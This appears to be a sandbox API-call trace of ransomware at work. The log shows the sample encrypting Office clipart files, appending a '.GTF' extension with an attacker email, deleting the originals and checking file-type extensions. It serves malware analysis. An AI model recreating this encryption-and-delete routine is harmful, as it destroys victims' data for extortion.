	[0164.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220
	[0164.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.705] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.705] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.705] GetLastError () returned 0x0
	[0164.705] ReadFile (in: hFile=0x4b4, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xd00, lpOverlapped=0x0) returned 1
	[0164.707] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xd10, lpOverlapped=0x0) returned 1
	[0164.708] ReadFile (in: hFile=0x4b4, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.708] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.709] SetEndOfFile (hFile=0x52c) returned 1
	[0164.709] CloseHandle (hObject=0x52c) returned 1
	[0164.709] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.709] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.711] CloseHandle (hObject=0x4b4) returned 1
	[0164.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1
	[0164.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.712] lstrlenW (lpString=".doc") returned 4
	[0164.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.712] lstrlenW (lpString=".docx") returned 5
	[0164.712] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.712] lstrlenW (lpString=".pdf") returned 4
	[0164.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.712] lstrlenW (lpString=".xls") returned 4
	[0164.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.712] lstrlenW (lpString=".xlsx") returned 5
	[0164.712] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.712] lstrlenW (lpString=".ppt") returned 4
	[0164.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.712] lstrlenW (lpString=".zip") returned 4
	[0164.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.713] lstrlenW (lpString=".rar") returned 4
	[0164.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString=".bz2") returned 4
	[0164.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString=".7z") returned 3
	[0164.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.713] lstrlenW (lpString=".dbf") returned 4
	[0164.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.713] lstrlenW (lpString=".1cd") returned 4
	[0164.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.713] lstrlenW (lpString=".jpg") returned 4
	[0164.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.713] lstrlenW (lpString=".doc") returned 4
	[0164.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString=".docx") returned 5
	[0164.713] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.713] lstrlenW (lpString=".pdf") returned 4
	[0164.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString=".xls") returned 4
	[0164.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.713] lstrlenW (lpString=".xlsx") returned 5
	[0164.713] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.713] lstrlenW (lpString=".ppt") returned 4
	[0164.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.713] lstrlenW (lpString=".zip") returned 4
	[0164.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.713] lstrlenW (lpString=".rar") returned 4
	[0164.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.713] lstrlenW (lpString=".bz2") returned 4
	[0164.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.714] lstrlenW (lpString=".7z") returned 3
	[0164.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.714] lstrlenW (lpString=".dbf") returned 4
	[0164.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.714] lstrlenW (lpString=".1cd") returned 4
	[0164.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0164.714] lstrlenW (lpString=".jpg") returned 4
	[0164.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.714] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.714] lstrlenW (lpString="J0105410.WMF") returned 12
	[0164.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.715] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=20444) returned 1
	[0164.715] CloseHandle (hObject=0x4b4) returned 1
	[0164.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220
	[0164.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.715] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.715] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.716] GetLastError () returned 0x0
	[0164.716] ReadFile (in: hFile=0x4b4, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4fdc, lpOverlapped=0x0) returned 1
	[0164.718] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4fe0, lpOverlapped=0x0) returned 1
	[0164.720] ReadFile (in: hFile=0x4b4, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.720] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.720] SetEndOfFile (hFile=0x52c) returned 1
	[0164.720] CloseHandle (hObject=0x52c) returned 1
	[0164.720] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.720] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.724] CloseHandle (hObject=0x4b4) returned 1
	[0164.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1
	[0164.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.725] lstrlenW (lpString=".doc") returned 4
	[0164.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString=".docx") returned 5
	[0164.725] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.725] lstrlenW (lpString=".pdf") returned 4
	[0164.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString=".xls") returned 4
	[0164.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.725] lstrlenW (lpString=".xlsx") returned 5
	[0164.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.725] lstrlenW (lpString=".ppt") returned 4
	[0164.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.725] lstrlenW (lpString=".zip") returned 4
	[0164.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.725] lstrlenW (lpString=".rar") returned 4
	[0164.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString=".bz2") returned 4
	[0164.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString=".7z") returned 3
	[0164.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.726] lstrlenW (lpString=".dbf") returned 4
	[0164.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.726] lstrlenW (lpString=".1cd") returned 4
	[0164.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.726] lstrlenW (lpString=".jpg") returned 4
	[0164.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.726] lstrlenW (lpString=".doc") returned 4
	[0164.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString=".docx") returned 5
	[0164.726] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.726] lstrlenW (lpString=".pdf") returned 4
	[0164.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString=".xls") returned 4
	[0164.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.726] lstrlenW (lpString=".xlsx") returned 5
	[0164.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.726] lstrlenW (lpString=".ppt") returned 4
	[0164.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.726] lstrlenW (lpString=".zip") returned 4
	[0164.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.726] lstrlenW (lpString=".rar") returned 4
	[0164.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString=".bz2") returned 4
	[0164.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.726] lstrlenW (lpString=".7z") returned 3
	[0164.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.727] lstrlenW (lpString=".dbf") returned 4
	[0164.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.727] lstrlenW (lpString=".1cd") returned 4
	[0164.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0164.727] lstrlenW (lpString=".jpg") returned 4
	[0164.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.727] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.727] lstrlenW (lpString="J0105412.WMF") returned 12
	[0164.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.728] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=9400) returned 1
	[0164.728] CloseHandle (hObject=0x4b4) returned 1
	[0164.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220
	[0164.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.729] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.729] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.729] GetLastError () returned 0x0
	[0164.729] ReadFile (in: hFile=0x4b4, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x24b8, lpOverlapped=0x0) returned 1
	[0164.828] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x24c0, lpOverlapped=0x0) returned 1
	[0164.831] ReadFile (in: hFile=0x4b4, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.831] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.831] SetEndOfFile (hFile=0x52c) returned 1
	[0164.831] CloseHandle (hObject=0x52c) returned 1
	[0164.832] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.832] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.834] CloseHandle (hObject=0x4b4) returned 1
	[0164.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1
	[0164.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.981] lstrlenW (lpString=".doc") returned 4
	[0164.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString=".docx") returned 5
	[0164.981] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.981] lstrlenW (lpString=".pdf") returned 4
	[0164.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString=".xls") returned 4
	[0164.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.981] lstrlenW (lpString=".xlsx") returned 5
	[0164.981] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.981] lstrlenW (lpString=".ppt") returned 4
	[0164.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.981] lstrlenW (lpString=".zip") returned 4
	[0164.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.981] lstrlenW (lpString=".rar") returned 4
	[0164.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString=".bz2") returned 4
	[0164.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString=".7z") returned 3
	[0164.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.981] lstrlenW (lpString=".dbf") returned 4
	[0164.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.981] lstrlenW (lpString=".1cd") returned 4
	[0164.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString=".jpg") returned 4
	[0164.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString=".doc") returned 4
	[0164.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString=".docx") returned 5
	[0164.982] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.982] lstrlenW (lpString=".pdf") returned 4
	[0164.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString=".xls") returned 4
	[0164.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.982] lstrlenW (lpString=".xlsx") returned 5
	[0164.982] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.982] lstrlenW (lpString=".ppt") returned 4
	[0164.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString=".zip") returned 4
	[0164.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.982] lstrlenW (lpString=".rar") returned 4
	[0164.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString=".bz2") returned 4
	[0164.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString=".7z") returned 3
	[0164.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString=".dbf") returned 4
	[0164.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString=".1cd") returned 4
	[0164.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0164.982] lstrlenW (lpString=".jpg") returned 4
	[0164.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.983] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.983] lstrlenW (lpString="J0105490.WMF") returned 12
	[0164.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
